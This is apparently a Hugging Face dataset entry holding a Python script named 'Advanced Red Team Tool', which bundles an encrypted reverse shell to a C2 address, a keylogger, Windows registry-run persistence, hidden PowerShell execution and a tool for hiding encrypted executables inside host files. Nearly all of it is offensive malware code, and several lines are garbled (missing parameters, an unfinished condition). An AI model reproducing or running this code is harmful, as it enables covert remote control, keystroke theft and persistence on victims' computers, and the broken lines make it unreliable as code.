Team Ai
Datasetpublic

ysn-rfd/text-dataset-tiny-code-script-py-format

USED of tahamajs/medicine_ds_persian for .parquet file USED of Alijafarixcs2/persian-it-llama2-2k for .parquet file USED of Abirate/english_quotes for .jsonl file NEW FILES (05/12/2025) NEW FILES (12/26/2025) NEW FILES (02/15/2026)

sourceHugging Faceapache-2.0updated 4mo agoView on Hugging Face
3likes1.7kdownloads
1
2"""
3Advanced Red Team Tool - Modular, Extensible, and Secure
4
5Features:
6- AES Encryption (CBC/GCM)
7- Steganographic Payload Embedding
8- Encrypted Reverse Shell
9- Keylogger with Encrypted Logging
10- Multiple Persistence Techniques
11- Stealth PowerShell Execution
12"""
13
14import os
15import sys
16import socket
17import argparse
18import logging
19import json
20import time
21import threading
22from typing import Optional, Union, List, Dict
23from Crypto.Cipher import AES
24from Crypto.Random import get_random_bytes
25from Crypto.Protocol.KDF import PBKDF2
26from Crypto.Util.Padding import pad, unpad
27from Crypto.Util import Counter
28from Crypto import Random
29import ctypes
30import winreg
31import subprocess
32from pynput import keyboard
33import tempfile
34import base64
35
36# Configure Logging
37logging.basicConfig(
38    level=logging.INFO,
39    format="%(asctime)s [%(levelname)s] %(message)s",
40    handlers=[logging.StreamHandler(sys.stdout)]
41)
42
43# Global Constants
44DEFAULT_CONFIG = {
45    "default_ip": "127.0.0.1",
46    "default_port": 4444,
47    "persistence_name": "YSN_RedKill",
48    "marker": b"YSNRFD_PAYLOAD"
49}
50
51# -------------------------------
52# AES Cipher Class
53# -------------------------------
54
55class AESCipher:
56    def __init__(self, key: bytes, mode: str = "CBC"):
57        self.key = key
58        self.mode = mode.upper()
59        self.block_size = AES.block_size
60
61    def _get_cipher(self, iv: Optional[bytes] = None) -> AES:
62        if self.mode == "CBC":
63            if iv is None:
64                iv = get_random_bytes(self.block_size)
65            return AES.new(self.key, AES.MODE_CBC, iv), iv
66        elif self.mode == "GCM":
67            nonce = get_random_bytes(12)
68            return AES.new(self.key, AES.MODE_GCM, nonce=nonce), nonce
69        else:
70            raise ValueError(f"Unsupported mode: {self.mode}")
71
72    def encrypt(self,  bytes) -> bytes:
73        if self.mode == "CBC":
74            cipher, iv = self._get_cipher()
75            return iv + cipher.encrypt(pad(data, self.block_size))
76        elif self.mode == "GCM":
77            cipher, nonce = self._get_cipher()
78            ciphertext, tag = cipher.encrypt_and_digest(data)
79            return nonce + tag + ciphertext
80
81    def decrypt(self,  bytes) -> bytes:
82        if self.mode == "CBC":
83            iv = data[:self.block_size]
84            cipher = AES.new(self.key, AES.MODE_CBC, iv)
85            return unpad(cipher.decrypt(data[self.block_size:]), self.block_size)
86        elif self.mode == "GCM":
87            nonce = data[:12]
88            tag = data[12:28]
89            ciphertext = data[28:]
90            cipher = AES.new(self.key, AES.MODE_GCM, nonce=nonce)
91            return cipher.decrypt_and_verify(ciphertext, tag)
92
93    @staticmethod
94    def derive_key(password: str, salt: bytes = b"YSN_SALT", dk_len: int = 32) -> bytes:
95        return PBKDF2(password, salt, dkLen=dk_len, count=1000000)
96
97    def save_key(self, path: str, password: Optional[str] = None):
98        if password:
99            derived = self.derive_key(password)
100            cipher = AESCipher(derived, mode="CBC")
101            encrypted = cipher.encrypt(self.key)
102            with open(path, "wb") as f:
103                f.write(encrypted)
104        else:
105            with open(path, "wb") as f:
106                f.write(self.key)
107
108    @classmethod
109    def load_key(cls, path: str, password: Optional[str] = None) -> "AESCipher":
110        with open(path, "rb") as f:
111            raw = f.read()
112        if password:
113            derived = cls.derive_key(password)
114            cipher = AESCipher(derived, mode="CBC")
115            key = cipher.decrypt(raw)
116        else:
117            key = raw
118        return cls(key)
119
120# -------------------------------
121# Steganographic Payload Embedder
122# -------------------------------
123
124class PayloadEmbedder:
125    def __init__(self, cipher: AESCipher, marker: bytes = DEFAULT_CONFIG["marker"]):
126        self.cipher = cipher
127        self.marker = marker
128
129    def embed(self, host_path: str, payload_path: str, output_path: str):
130        try:
131            with open(host_path, "rb") as f:
132                host_data = f.read()
133            with open(payload_path, "rb") as f:
134                payload_data = f.read()
135            encrypted = self.cipher.encrypt(payload_data)
136            with open(output_path, "wb") as f:
137                f.write(host_data + self.marker + encrypted)
138            logging.info(f"[+] Payload embedded in {output_path}")
139        except Exception as e:
140            logging.error(f"[-] Embed failed: {e}")
141
142    def extract(self, stego_path: str, output_path: str):
143        try:
144            with open(stego_path, "rb") as f:
145                data = f.read()
146            if self.marker not in 
147                logging.error("[-] Marker not found")
148                return False
149            payload = data.split(self.marker)[1]
150            decrypted = self.cipher.decrypt(payload)
151            with open(output_path, "wb") as f:
152                f.write(decrypted)
153            logging.info(f"[+] Payload extracted to {output_path}")
154            return True
155        except Exception as e:
156            logging.error(f"[-] Extraction failed: {e}")
157            return False
158
159# -------------------------------
160# Reverse Shell (Encrypted)
161# -------------------------------
162
163class EncryptedReverseShell:
164    def __init__(self, ip: str, port: int, cipher: AESCipher):
165        self.ip = ip
166        self.port = port
167        self.cipher = cipher
168
169    def start(self):
170        try:
171            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
172            s.connect((self.ip, self.port))
173            logging.info(f"[*] Connected to {self.ip}:{self.port}")
174            while True:
175                enc_cmd = s.recv(4096)
176                if not enc_cmd:
177                    break
178                cmd = self.cipher.decrypt(enc_cmd).decode()
179                if cmd.lower() in ['exit', 'quit']:
180                    break
181                try:
182                    output = subprocess.run(cmd.split(), capture_output=True, timeout=10)
183                    enc_out = self.cipher.encrypt(output.stdout or output.stderr)
184                    s.send(enc_out)
185                except Exception as e:
186                    s.send(self.cipher.encrypt(str(e).encode()))
187            s.close()
188        except Exception as e:
189            logging.error(f"[-] Reverse shell error: {e}")
190
191def start_reverse_shell_thread(ip: str, port: int, cipher: AESCipher):
192    thread = threading.Thread(target=EncryptedReverseShell(ip, port, cipher).start, daemon=True)
193    thread.start()
194    logging.info(f"[*] Reverse shell thread started connecting to {ip}:{port}")
195
196# -------------------------------
197# Persistence Techniques
198# -------------------------------
199
200class PersistenceManager:
201    @staticmethod
202    def add_registry(name: str, path: str):
203        try:
204            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
205                                 r"Software\Microsoft\Windows\CurrentVersion\Run", 0,
206                                 winreg.KEY_SET_VALUE)
207            winreg.SetValueEx(key, name, 0, winreg.REG_SZ, path)
208            winreg.CloseKey(key)
209            logging.info(f"[*] Added registry persistence: {name}")
210        except Exception as e:
211            logging.error(f"[-] Registry persistence failed: {e}")
212
213    @staticmethod
214    def add_startup(name: str, path: str):
215        startup_folder = os.path.join(os.environ["APPDATA"], r"Microsoft\Windows\Start Menu\Programs\Startup")
216        shortcut_path = os.path.join(startup_folder, f"{name}.lnk")
217        # Create shortcut logic here (requires pywin32 or similar)
218        logging.info(f"[*] Added startup persistence: {shortcut_path}")
219
220# -------------------------------
221# Keylogger (Encrypted Logs)
222# -------------------------------
223
224def start_keylogger(output: str = "keylog.enc", password: str = "logpass"):
225    cipher = AESCipher.derive_key(password)
226    enc_cipher = AESCipher(cipher)
227
228    def on_press(key):
229        try:
230            char = key.char
231        except AttributeError:
232            char = str(key)
233        encrypted = enc_cipher.encrypt(char.encode())
234        with open(output, "ab") as f:
235            f.write(encrypted + b"\n")
236
237    listener = keyboard.Listener(on_press=on_press)
238    listener.start()
239    logging.info("[*] Keylogger started.")
240
241# -------------------------------
242# PowerShell Execution
243# -------------------------------
244
245def run_powershell_script(script: str):
246    try:
247        tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".ps1")
248        tmp.write(script.encode())
249        tmp.close()
250        subprocess.Popen(["powershell", "-WindowStyle", "Hidden", "-File", tmp.name],
251                         stdout=subprocess.DEVNULL,
252                         stderr=subprocess.DEVNULL,
253                         stdin=subprocess.DEVNULL)
254        logging.info("[*] PowerShell script executed.")
255        os.unlink(tmp.name)
256    except Exception as e:
257        logging.error(f"[-] PowerShell execution failed: {e}")
258
259# -------------------------------
260# CLI Interface
261# -------------------------------
262
263def main():
264    parser = argparse.ArgumentParser(description="Advanced Red Team Tool")
265    subparsers = parser.add_subparsers(dest="command")
266
267    # Embed Command
268    embed_parser = subparsers.add_parser("embed", help="Embed payload into host file")
269    embed_parser.add_argument("--host", required=True, help="Path to host file")
270    embed_parser.add_argument("--payload", required=True, help="Path to payload executable")
271    embed_parser.add_argument("--output", required=True, help="Output stego file")
272    embed_parser.add_argument("--key", help="Path to encryption key file")
273    embed_parser.add_argument("--password", help="Password to derive key from")
274
275    # Extract Command
276    extract_parser = subparsers.add_parser("extract", help="Extract payload from stego file")
277    extract_parser.add_argument("--stego", required=True, help="Path to stego file")
278    extract_parser.add_argument("--output", required=True, help="Output payload path")
279    extract_parser.add_argument("--key", required=True, help="Path to encryption key file")
280    extract_parser.add_argument("--password", help="Password for key decryption")
281
282    # Reverse Shell
283    shell_parser = subparsers.add_parser("shell", help="Start encrypted reverse shell")
284    shell_parser.add_argument("--ip", default=DEFAULT_CONFIG["default_ip"], help="C2 IP")
285    shell_parser.add_argument("--port", type=int, default=DEFAULT_CONFIG["default_port"], help="C2 Port")
286    shell_parser.add_argument("--key", required=True, help="Path to encryption key file")
287    shell_parser.add_argument("--password", help="Password for key decryption")
288
289    # Keylogger
290    keylog_parser = subparsers.add_parser("keylog", help="Start encrypted keylogger")
291    keylog_parser.add_argument("--output", default="keylog.enc", help="Output log file")
292    keylog_parser.add_argument("--password", default="logpass", help="Password for log encryption")
293
294    # PowerShell
295    ps_parser = subparsers.add_parser("powershell", help="Execute PowerShell script")
296    ps_parser.add_argument("--script", required=True, help="PowerShell script content")
297
298    # Persistence
299    persist_parser = subparsers.add_parser("persistence", help="Add persistence")
300    persist_parser.add_argument("--name", default=DEFAULT_CONFIG["persistence_name"], help="Name for persistence entry")
301    persist_parser.add_argument("--path", required=True, help="Path to executable")
302
303    args = parser.parse_args()
304
305    if args.command == "embed":
306        if args.password:
307            key = AESCipher.derive_key(args.password)
308            cipher = AESCipher(key)
309        elif args.key:
310            cipher = AESCipher.load_key(args.key)
311        else:
312            cipher = AESCipher(get_random_bytes(32))
313            cipher.save_key("default.key")
314            logging.warning("[!] No key provided. Generated default.key")
315        embedder = PayloadEmbedder(cipher)
316        embedder.embed(args.host, args.payload, args.output)
317
318    elif args.command == "extract":
319        cipher = AESCipher.load_key(args.key, password=args.password)
320        embedder = PayloadEmbedder(cipher)
321        embedder.extract(args.stego, args.output)
322
323    elif args.command == "shell":
324        cipher = AESCipher.load_key(args.key, password=args.password)
325        start_reverse_shell_thread(args.ip, args.port, cipher)
326
327    elif args.command == "keylog":
328        start_keylogger(args.output, args.password)
329
330    elif args.command == "powershell":
331        run_powershell_script(args.script)
332
333    elif args.command == "persistence":
334        PersistenceManager.add_registry(args.name, args.path)
335
336    else:
337        parser.print_help()
338
339if __name__ == "__main__":
340    main()